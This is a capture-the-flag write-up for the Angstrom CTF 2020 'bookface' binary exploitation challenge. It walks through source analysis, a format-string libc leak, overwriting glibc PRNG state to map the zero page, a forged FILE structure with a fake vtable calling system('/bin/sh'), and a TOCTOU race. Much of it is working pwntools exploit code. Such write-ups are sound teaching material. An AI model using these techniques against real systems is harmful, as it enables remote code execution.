Challenge details
Event | Challenge | Category |
---|---|---|
Angstrom CTF 2020 | bookface | PWN |
Description
I made a new social networking service. It’s a little glitchy, but no way that could result in a data breach, right?
Connect with nc pwn.2020.chall.actf.co 20733.
Attachments
The attached tarball contains the following files:
File | Description |
---|---|
bookface | the main binary |
bookface.c | binary source code |
libc.so.6 | remote server libc |
Dockerfile | Dockerfile used to build the remote challenge |
xinetd.conf | xinetd config file to run the challenge |
server.sh | the executable to be launched via xinetd which will run bookface |
TL;DL
- Leak Libc address using Format String Attack.
- Abusing glibc PRNG by overwrite the random state using friends pointer.
- Writing a forged FILE structure in Zero Page.
- Trigger FILE structure exploit by a NULL Pointer Dereference Attack and exploiting a TOCTOU bug.
As usually in binary exploitation, binaries are related to libc, most of the time we need the libc to exploit the binary (calling system function, overwriting (malloc) or free hooks, using one_gadget, …), so it’s better to start debugging using the remote libc locally, there are many ways to achieve that.
We can easily build an identical docker image to the remote challenge image using these files, but if you want to debug the binary inside a container you need to install your favorite tools (gdb with peda, pwndbg or gef extension) inside the container.
The easy way that I prefer is patching the binary and modifying the RUNPATH to point to the directory where the target libc is located, this technique is explained in @Ayrx blog post “Using a non-system glibc”1.
$ mv bookface backup
$ python change_glibc.py backup libc.so.6 ld-2.23.so bookface
Current ld.so:
Path: /lib64/ld-linux-x86-64.so.2
New ld.so:
Path: /home/philomath213/Documents/CTFs/angstromctf2020/bookface/ld-2.23.so
Adding RUNPATH:
Path: /home/philomath213/Documents/CTFs/angstromctf2020/bookface
Writing new binary bookface
Please rename /home/philomath213/Documents/CTFs/angstromctf2020/bookface/libc.so.6 to /home/philomath213/Documents/CTFs/angstromctf2020/bookface/libc.so.6.
$ ldd backup
linux-vdso.so.1 (0x00007ffd10964000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f80eaf0f000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f80eb123000)
$ ldd bookface
linux-vdso.so.1 (0x00007ffe1bbe7000)
libc.so.6 => /home/philomath213/Documents/CTFs/angstromctf2020/bookface/libc.so.6 (0x00007ff062cb8000)
/home/philomath213/Documents/CTFs/angstromctf2020/bookface/ld-2.23.so => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ff0630ae000)
N.B. You can get ld-2.23.so file from the ubuntu:xenial image.
Now we can run the binary locally with the same libc used remotely.
Source Code Analysis
Since the source code is available, we don’t have to reverse engineering the binary, just read the code.
For global variables we have user
a profile structure pointer and uid
an integer.
struct profile *user;
int uid;
The profile structure has two fields: a char array (name
) of size 0x100 and a pointer to a long long (friends
).
struct profile {
char name[0x100];
long long *friends; // some people have a lot of friends
};
This program first call srand
to set time(NULL)
as seed for a new sequence of pseudo-random integers to be returned by rand()
we will get back to this later in the writeup.
Then it calls login()
, the login
function basically asks for userid and creates a file with userid as a file name under users
directory.
If the file doesn’t exist, the program will call mmap
, this will basically allocates a memory at a random address, witg a size equals to size of profile
structure, the protections are PROT_READ | PROT_WRITE. Then it reads 0x100 bytes into it using fgets
.
puts("Welcome to bookface!");
user = mmap(rand() & 0xfffffffffffff000, sizeof(struct profile),
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
-1, 0);
printf("What's your name? ");
fgets(user->name, 0x100, stdin);
If the file already exists then it will ask for a brief survey.
puts("Before you log back in, please complete a brief survey.");
puts("For each of the following categories, rate us from 1-10.");
char survey[20];
int n = 0;
printf("Content: ");
n += read(1, survey + n, 3);
printf("Moderation: ");
n += read(1, survey + n, 3);
printf("Interface: ");
n += read(1, survey + n, 3);
printf("Support: ");
n += read(1, survey + n, 3);
survey[n] = 0;
The program check if there is any 'n'
letter in the inputs, if so the program will exit.
if (strchr(survey, 'n') != NULL) {
// a bug bounty report said something about hacking and the letter n
puts("ERROR: HACKING DETECTED");
puts("Exiting...");
exit(1);
}
This would prevent users from doing arbitrary write using Format String Attack2 (using the common %n specifier), if there is any vulnerability like that.
If the survey rates are different than 10, 10, 10, 10, we notice the format string bug!.
if (strcmp(survey, "10\n10\n10\n10\n") != 0) {
puts(
"Those ratings don't seem quite right. Please review them and try "
"again:");
printf(survey);
n = 0;
printf("Content: ");
n += read(1, survey + n, 3);
printf("Moderation: ");
n += read(1, survey + n, 3);
printf("Interface: ");
n += read(1, survey + n, 3);
printf("Support: ");
n += read(1, survey + n, 3);
survey[n] = 0;
}
The program will call printf
with user input survey
directly as a format string printf(survey)
, so we have Format String Bug here.
Then it opens the file and reads its content into an allocated memory via mmap
the same way as mentioned above.
user = mmap(rand() & 0xfffffffffffff000, sizeof(struct profile),
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
-1, 0);
FILE *f = fopen(file, "rb");
fread(user, 1, sizeof(struct profile), f);
fclose(f);
At the end it checks if the survey rates were different then 10, 10, 10, 10, it will set friends number to 0.
if (strcmp(survey, "10\n10\n10\n10\n") != 0) {
puts(
"Our survey says... you don't seem very nice. I doubt you have any "
"friends!");
*(user->friends) = 0;
}
That’s all what login function does, in the other hand the main
function is just menu-driven while loop to choose between:
- incrementing friends number
printf("How many friends would you like to make? ");
long long new;
scanf(" %lld", &new);
user->friends += new;
This will increments the pointer friends, it an obvious mistake.
- decrementing friends number
printf("How many friends would you like to lose? ");
long long lost;
scanf(" %lld", &lost);
user->friends -= lost;
The same here, decrementing the pointer friends.
- deleting account
puts("Deleting account...\n");
sprintf(file, "users/%d", uid);
remove(file);
login();
This will remove the file corresponding to userid, the call login
function again.
- login off
puts("Logging out...\n");
sprintf(file, "users/%d", uid);
FILE *f = fopen(file, "wb");
fwrite(user, 1, sizeof(struct profile), f);
fclose(f);
login();
This will write the content pointed by user
to the file corresponding to userid, and then will call login
again.
Let’s get back to login
function, at the end if the survey rates were different then 10, 10, 10, 10 the program do this instruction *(user->friends) = 0
which will dereference the friends
long long*
pointer and set its content to 0 (i.e. write 8 NULL bytes where friends
is pointing), it means we have arbitrary 8 NULL bytes write.
Another remark: The program lacks errors checking, overall there are no error checking when dealing with files (fopen
, fclose
, fread
).
Detected vulnerabilities
- Format String vulnerability (“arbitrary write” isn’t included since ’n’ letter is filtered) in login function.
- Arbitrary 8 NULL bytes write via friends pointer.
- The lack of errors checking.
Exploitation
None of these vulnerabilities on their own allow us to exploit this binary, we need to use multiples attacks to achieve code execution on the remote server.
Note that the 1st line of Dockerfile contains a comment:
#IMPORTANT: on host system: sysctl vm.mmap_min_addr=0
What does it mean?
mmap_min_addr
is a kernel tunable that specifies the minimum virtual address that a process is allowed to mmap3, Allowing processes to map low values expose the system to “Kernel NULL pointer dereference” attacks4.
It was introduced to Linux Kernel as mitigation against Null Pointer Dereference Attacks, but in our case it’s disabled since mmap_min_addr=0.
You can check the current value in your local machine at /proc/sys/vm/mmap_min_addr
(Arch linux, for other distributions maybe at a different location)
$ cat /proc/sys/vm/mmap_min_addr
65536
The default value in Arch Linux is 65536 (0x10000).
N.B. This a Kernel feature like ASLR, and Linux containers share the same kernel with the host machine.
If you are familiar with Linux Kernel Exploitation you probably know how NULL pointer dereference happens, most of the time is due to the lack of error checking.
FILE *f = fopen(file, "rb");
fread(user, 1, sizeof(struct profile), f);
fclose(f);
Upon successful completion fopen
returns a FILE
pointer Otherwise, NULL
is returned.
NULL is just a zero value, NULL pointer is 8 (or 4 in 32 bits machine) null bytes (i.e. 0x0000000000000000 or 0x00000000 in 32 bits machine).
What will happen if fopen
fails? basically the following:
fread(user, 1, sizeof(struct profile), (FILE *)0);
fclose((FILE *)0);
fread
and fclose
will dereference the f
FILE pointer (f
will points to 0x0000000000000000 memory address).
So if we can map (allocate) memory at the 0x0000000000000000 address (Zero Page) and write a forged FILE structure there.
fread
and fclose
will simply consider it as valid FILE structure.
The question is therefore: How can this helps us achieve code execution?
@Angelboy in his paper FILE Structures: Another Binary Exploitation Technique5, presented at HITB GSEC 2018 Conference proposed a new attack technique that exploits the FILE structure in GNU C Library (glibc) to gain control over execution flow (RIP), this technique won’t only get RIP control, but also control over RDI, RSI and RDX.
The attack is illustrated in @Dhaval Kapil blog post FILE Structure Exploitation (‘vtable’ check bypass)6, it calls fclose
with a forged FILE structure, this structure contains vtable
, which is a pointer to a table contains functions that will be called when the original FILE
pointer is used to perform different operations (e.g. fclose
, fread
, fwrite
).
So what we need right now is:
- Make
mmap
maps a memory page at address 0x0000000000000000. - Forge a malicious FILE structure at 0x0000000000000000.
- Make
fopen
fails and return NULL in order to callfclose((FILE *)0)
.
LIBC + PIE Leak
The binary comes with all protection schemes + ASLR enabled.
$ checksec --file bookface
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
We need to leak some addresses to bypass PIE
and ASLR
.
We’ll use Format String Attack to get leak to address in the stack, to get to that we need to provide a userid then logout and use the same userid.
We’ll set a breakpoint at *login+501
where the program calls printf(survey)
and observe what’s in the stack at that point.
$ gdb-gef bookface
...
gef> break *login+820
Breakpoint 1 at 0x449e
gef> run
Starting program: /home/philomath213/Documents/CTFs/angstromctf2020/bookface/bookface
Please enter your user ID: 2130
Welcome to bookface!
What's your name? ABCD
You have 0 friends. What would you like to do?
[1] Make friends
[2] Lose friends
[3] Delete account
[4] Log out
> 4
Logging out...
Please enter your user ID: 2130
Before you log back in, please complete a brief survey.
For each of the following categories, rate us from 1-10.
Content: %p%p%p%p%p
Moderation: Interface: Support: Those ratings don't seem quite right. Please review them and try again:
...
gef> info frame
Stack level 0, frame at 0x7fffffffdef0:
rip = 0x55555555849e in login; saved rip = 0x555555558985
called by frame at 0x7fffffffdf60
Arglist at 0x7fffffffdee0, args:
Locals at 0x7fffffffdee0, Previous frame's sp is 0x7fffffffdef0
Saved registers:
rbp at 0x7fffffffdee0, rip at 0x7fffffffdee8
...
gef➤ telescope 32
0x00007fffffffde70│+0x0000: 0x0000000b00000000 ← $rsp
0x00007fffffffde78│+0x0008: 0x00007ffff7a9153c → <free+76> add rsp, 0x28
0x00007fffffffde80│+0x0010: "%p%p%p%p%p\n" ← $rdi
0x00007fffffffde88│+0x0018: 0x00000000000a7025 ("%p\n"?)
0x00007fffffffde90│+0x0020: 0x0000000000000000
0x00007fffffffde98│+0x0028: 0x0000000000000000
0x00007fffffffdea0│+0x0030: "users/2130"
0x00007fffffffdea8│+0x0038: 0x0000555555003033 ("30"?)
0x00007fffffffdeb0│+0x0040: 0x0000000000000000
0x00007fffffffdeb8│+0x0048: 0x00005555555581b0 → <_start+0> endbr64
0x00007fffffffdec0│+0x0050: 0x00007fffffffe030 → 0x0000000000000001
0x00007fffffffdec8│+0x0058: 0x00007ffff7a7a363 → <fclose+259> mov eax, ebp
0x00007fffffffded0│+0x0060: 0x0000000000000000
0x00007fffffffded8│+0x0068: 0xf46cff2f1bf3ec00
0x00007fffffffdee0│+0x0070: 0x00007fffffffdf50 → 0x00005555555589a0 → <__libc_csu_init+0> endbr64 ← $rbp
0x00007fffffffdee8│+0x0078: 0x0000555555558985 → <main+681> jmp 0x555555558992 <main+694>
0x00007fffffffdef0│+0x0080: 0x0000000000000001
0x00007fffffffdef8│+0x0088: 0x000003e8ffffdf70
0x00007fffffffdf00│+0x0090: 0x00007ffff7ffe168 → 0x0000555555554000 → 0x00010102464c457f
0x00007fffffffdf08│+0x0098: 0x000055555557e010 → 0x00000000fbad240c
0x00007fffffffdf10│+0x00a0: "users/2130"
0x00007fffffffdf18│+0x00a8: 0x0000555555003033 ("30"?)
0x00007fffffffdf20│+0x00b0: 0x00007fffffffdf4e → 0x5555555589a0f46c
0x00007fffffffdf28│+0x00b8: 0x0000000000000000
0x00007fffffffdf30│+0x00c0: 0x00005555555589a0 → <__libc_csu_init+0> endbr64
0x00007fffffffdf38│+0x00c8: 0x00005555555581b0 → <_start+0> endbr64
0x00007fffffffdf40│+0x00d0: 0x00007fffffffe030 → 0x0000000000000001
0x00007fffffffdf48│+0x00d8: 0xf46cff2f1bf3ec00
0x00007fffffffdf50│+0x00e0: 0x00005555555589a0 → <__libc_csu_init+0> endbr64
0x00007fffffffdf58│+0x00e8: 0x00007ffff7a2d830 → <__libc_start_main+240> mov edi, eax
0x00007fffffffdf60│+0x00f0: 0x0000000000000001
0x00007fffffffdf68│+0x00f8: 0x00007fffffffe038 → 0x00007fffffffe332 → "/home/philomath213/Documents/CTFs/angstromctf2020/[...]"
The login function stack frame is located at 0x7fffffffdef0 ($rsp+0x0090), and the saved return address is located at 0x7fffffffdee8 ($rsp+0x0078) this pointer will give us the binary base where it’s loaded, there is another interesting pointer at 0x00007fffffffdf58 ($rsp+0x00e8) a libc pointer, it will give us libc base address.
The format string offset for the 1st pointer will be 21 (%21$p
) while the 2nd will be 35 (%35$p
).
In order to calculate the base address from these two pointers we need precalculate the offsets.
gef> vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555558000 0x0000000000000000 r-- /home/philomath213/Documents/CTFs/angstromctf2020/bookface/bookface
...
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /home/philomath213/Documents/CTFs/angstromctf2020/bookface/libc.so.6
...
The binary base address is 0x0000555555554000 and the leaked address is 0x0000555555558985.
gef> p 0x0000555555558985 - 0x0000555555554000
$1 = 0x4985
We do the same for libc address.
gef> p 0x00007ffff7a2d830 - 0x00007ffff7a0d000
$2 = 0x20830
libc address leak exploit
libc_offset = 0x20830
uid = randint(0, 2**30)
# create user with uid and name AAAA
T.sendlineafter("Please enter your user ID: ", str(uid))
T.sendlineafter("What's your name? ", b"AAAA")
# logout
T.sendlineafter("> ", "4")
# login again with same uid
T.sendlineafter("Please enter your user ID: ", str(uid))
# format string offset
payload = b'AA%35$pBB'
assert len(payload) <= 12
T.sendlineafter("Content: ", payload)
T.recvuntil(b'AA')
leak = T.recvuntil(b'BB').strip(b'BB')
leak = int(leak, base=16)
log.info("leak: 0x{:016x}".format(leak))
libc_base = leak - libc_offset
log.info("libc_base: 0x{:016x}".format(libc_base))
Zero Page
We need to write the forged FILE structure into the Zero Page (i.e. memory page at 0x0000000000000000), when login with a new userid the following instruction will be executed:
puts("Welcome to bookface!");
user = mmap(rand()&0xfffffffffffff000, sizeof (struct profile), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
printf("What's your name? ");
fgets(user->name, 0x100, stdin);
mmap
will map a page at rand() & 0xfffffffffffff000
, there are two ways (maybe more) to make that value be zero:
1. Easy dirty way “Brutforce”:
rand()
(see man 3 rand
) will return a pseudo-random integer in range [0, RAND_MAX]
, RAND_MAX
dependent on the implementation, but it’s guaranteed that this value is at least 32767 (0x7fff)7. there is a chance that rand()
will return a integer less than 0x1000.
2. Hard efficient way “Abusing glibc PRNG”:
glibc pseudo-random-number-generator (PRNG)8 like any PRNG generates a sequence of random numbers, this sequence is not truly random, because it is determined by the PRNG’s state which is initially the seed value set by srand
, in our case it is time(NULL)
, glibc PRNG (see man 3 rand
) use hidden state that is modified on each call, this hidden state is probably located at writable memory in libc address space.
To find how glibc PRNG works we need to dig deeper in glibc source code, I usually use Bootlin - Elixir Cross Referencer 9 to browse Linux Kernel and Glibc source code, actually the rand
function is just wrapper to __random
and the latter is also a wrapper to __random_r
, make sure you are browsing the correct glibc version glibc-2.23 10.
int
rand (void)
{
return (int) __random ();
}
long int
__random (void)
{
int32_t retval;
__libc_lock_lock (lock);
(void) __random_r (&unsafe_state, &retval);
__libc_lock_unlock (lock);
return retval;
}
__random_r
is defined in stdlib/random_r.c
line 353
11.
int
__random_r (struct random_data *buf, int32_t *result)
{
int32_t *state;
if (buf == NULL || result == NULL)
goto fail;
state = buf->state;
if (buf->rand_type == TYPE_0)
{
int32_t val = state[0];
val = ((state[0] * 1103515245) + 12345) & 0x7fffffff;
state[0] = val;
*result = val;
}
else
{
int32_t *fptr = buf->fptr;
int32_t *rptr = buf->rptr;
int32_t *end_ptr = buf->end_ptr;
int32_t val;
val = *fptr += *rptr;
/* Chucking least random bit. */
*result = (val >> 1) & 0x7fffffff;
++fptr;
if (fptr >= end_ptr)
{
fptr = state;
++rptr;
}
else
{
++rptr;
if (rptr >= end_ptr)
rptr = state;
}
buf->fptr = fptr;
buf->rptr = rptr;
}
return 0;
fail:
__set_errno (EINVAL);
return -1;
}
At the beginning of the function there is a test for the random type, from code comments we see that there two types, if rand_type == TYPE_0
the old linear congruential bit will be used. Otherwise, the fancy trinomial stuff.
We don’t know which one is beening used in our libc, we will use a debugger to figure it out.
gef> disas random_r
Dump of assembler code for function random_r:
0x00007ffff7a47c40 <+0>: test rdi,rdi
0x00007ffff7a47c43 <+3>: je 0x7ffff7a47cc0 <random_r+128>
0x00007ffff7a47c45 <+5>: test rsi,rsi
0x00007ffff7a47c48 <+8>: je 0x7ffff7a47cc0 <random_r+128>
0x00007ffff7a47c4a <+10>: mov eax,DWORD PTR [rdi+0x18]
0x00007ffff7a47c4d <+13>: mov r8,QWORD PTR [rdi+0x10]
0x00007ffff7a47c51 <+17>: test eax,eax
0x00007ffff7a47c53 <+19>: je 0x7ffff7a47ca0 <random_r+96>
0x00007ffff7a47c55 <+21>: mov rax,QWORD PTR [rdi]
...
The condition is at *random_r+17, set a break point there and examin rax register
gef> run
...
gef> b *random_r+17
....
gef> continue
....
gef> info registers rax
rax 0x3 0x3
The random type isn’t TYPE_0
, so the 2nd part of code will be used to compute the next random integer, it will be written to the 2nd parameter int32_t *result
which is the retval
variable in __random
function.
the result is *result = (val >> 1) & 0x7fffffff
and val = *fptr += *rptr
, so in order to make rand()
return a 0 we need to overwrite *fptr
and *rptr
with zero (i.e. val = 0 => *result = 0 ), those two pointer change after each call to random, we need to find the right ones for the right call, (e.g. if we want the 2nd call returns 0, we call rand once then debug the 2nd call to get the right pointers), this is the eays way to get them.
int32_t *fptr = buf->fptr;
int32_t *rptr = buf->rptr;
This piece of code corespands to:
0x7f7aa7c72c56 <random_r+22> mov eax, DWORD PTR [rdi]
0x7f7aa7c72c58 <random_r+24> mov rcx, QWORD PTR [rdi+0x8]
The values of fptr
and rptr
will rax
and rcx
respectivly
gef> b *random_r+24
...
gef> i r rax rcx
rax 0x7f7aa7ffc0c4 0x7f7aa7ffc0c4
rcx 0x7f7aa7ffc0b8 0x7f7aa7ffc0b8
gef➤ p 0x7f7aa7ffc0b8 - 0x00007f7aa7c38000
$1 = 0x3c40b8
the offset to *rptr
is 0x3c40b8
while *fptr
is 0x3c40c4
, 12 bytes distance bitween them.
We can overwrite this address with null value using the friends
pointer in profile
structure, we will use option one to increment it to points to *rptr
, overwrite with zero then do the same to *fptr
.
The friends pointer is of type long long*
and it equals to 0 initialy, in pointer arithmetic for a given pointer x
, x + 5
actually is x + 5*sizeof(data_type)
, we have sizeof(long long) == 8
, so we increment friends pointer with (*rptr address) / 8
.
Set random state fptr and rptr to 0
random_state_offset = 0x3c40b8
random_state = libc_base + random_state_offset
# set random_state fptr and rptr to 0
# in order to make rand() return 0
# fptr
T.sendlineafter("> ", "1")
T.sendlineafter("you like to make? ", str(random_state//8))
# logout
T.sendlineafter("> ", "4")
# login again with the same
T.sendlineafter("Please enter your user ID: ", str(uid))
T.sendlineafter("Content: ", b'A'*11)
T.sendlineafter("Content: ", b'A'*11)
# rptr = rptr + 8
T.sendlineafter("> ", "1")
T.sendlineafter("you like to make? ", str(8//8))
# logout
T.sendlineafter("> ", "4")
# login again with the same uid
T.sendlineafter("Please enter your user ID: ", str(uid))
T.sendlineafter("Content: ", b'A'*11)
T.sendlineafter("Content: ", b'A'*11)
After that will login with a new userid in order to allocate a Zero Page and write into it the forged FILE structure.
I used the same code in 6 with little modification to make the FILE structure.
def pack_file(_flags=0,
_IO_read_ptr=0,
_IO_read_end=0,
_IO_read_base=0,
_IO_write_base=0,
_IO_write_ptr=0,
_IO_write_end=0,
_IO_buf_base=0,
_IO_buf_end=0,
_IO_save_base=0,
_IO_backup_base=0,
_IO_save_end=0,
_IO_marker=0,
_IO_chain=0,
_fileno=0,
_lock=0):
struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
struct = struct.ljust(0x88, b"\x00")
struct += p64(_lock)
struct = struct.ljust(0xd8, b"\x00")
return struct
def make_fake_file_struct(libc_base, rip, rdi):
# We can only have even rdi
assert(rdi % 2 == 0)
# Crafting FILE structure
# This stores the address of a pointer to the _IO_str_overflow function
# Libc specific
io_str_overflow_ptr_addr = libc_base + \
libc.symbols['_IO_file_jumps'] + 0xd8
# Calculate the vtable by subtracting appropriate offset
fake_vtable_addr = io_str_overflow_ptr_addr - 2*8
# Craft file struct
file_struct = pack_file(_IO_buf_base=0,
_IO_buf_end=(rdi-100)//2,
_IO_write_ptr=(rdi-100)//2,
_IO_write_base=0,
_lock=0)
# vtable pointer
file_struct += p64(fake_vtable_addr)
# Next entry corresponds to: (*((_IO_strfile *) fp)->_s._allocate_buffer)
file_struct += p64(rip)
return file_struct
# logout
T.sendlineafter("> ", "4")
# login again with wrong uid
uid = randint(0, 2**30)
T.sendlineafter("Please enter your user ID: ", str(uid))
raw_input("> Debug")
# Our target
# mmap to 0
file_addr = 0
rip = libc_base + libc.symbols['system']
# rdi = libc_base + next(libc.search(b"/bin/sh")) # The first param we want
# next to file_struct
rdi = 0xf0
log.info("file_addr 0x{:016x}".format(file_addr))
log.info("rip 0x{:016x}".format(rip))
log.info("rdi 0x{:016x}".format(rdi))
file_struct = make_fake_file_struct(libc_base, rip, rdi)
file_struct = file_struct.ljust(0xf0, b'\x00')
payload = file_struct + b'/bin/sh\x00'
assert b'\n' not in payload
T.sendlineafter("What's your name? ", payload)
N.B. The rdi parameter must be even, the offset of /bin/sh
string in this libc isn’t even, we can’t use it, so we’ll write the /bin/sh
string after the FILE structure, it’s aligned to 0xf0, so the string will be at 0x00000000000000f0 (since mmap maps the zero page at 0x0000000000000000).
To triger to exploit we must call fclose
with NULL pointer as parameter. So the call to fopen
must fail and return NULL.
FILE *f = fopen(file, "rb");
fread(user, 1, sizeof (struct profile), f);
fclose(f);
How can fopen(file, "rb")
fails? the mode string is "rb"
, it’s a read, so if the file doesn’t exists fopen will fail and return NULL.
Login
function check if the file exists with access
then asks for the survey, where there are multiple calls to read
, it’s a blocking function, it will block and wait for user input. This is a Time-of-check to time-of-use
(TOCTOU)12 bug.
We’ll open another connection and use the same userid to remove the file using the 3rd option “deleting account”.
# logout
T.sendlineafter("> ", "4")
# login again with the last uid
T.sendlineafter("Please enter your user ID: ", str(uid))
# remove the uid user file with another connection
# TOCTOU
raw_input("> debug")
log.info("uid: {}".format(uid))
log.info("race condition !!")
T2 = remote(T.rhost, T.rport)
T2.sendlineafter("Please enter your user ID: ", str(uid))
T2.sendlineafter("Content", b"10\n10\n10\n10")
T2.sendlineafter("> ", "3")
payload = b'10\n10\n10\n10\n'
assert len(payload) <= 12
T.sendlineafter("Content: ", payload)
T.clean()
T.sendline("uname -a;id")
T.interactive()
Final Exploit
You can find the full exploit here.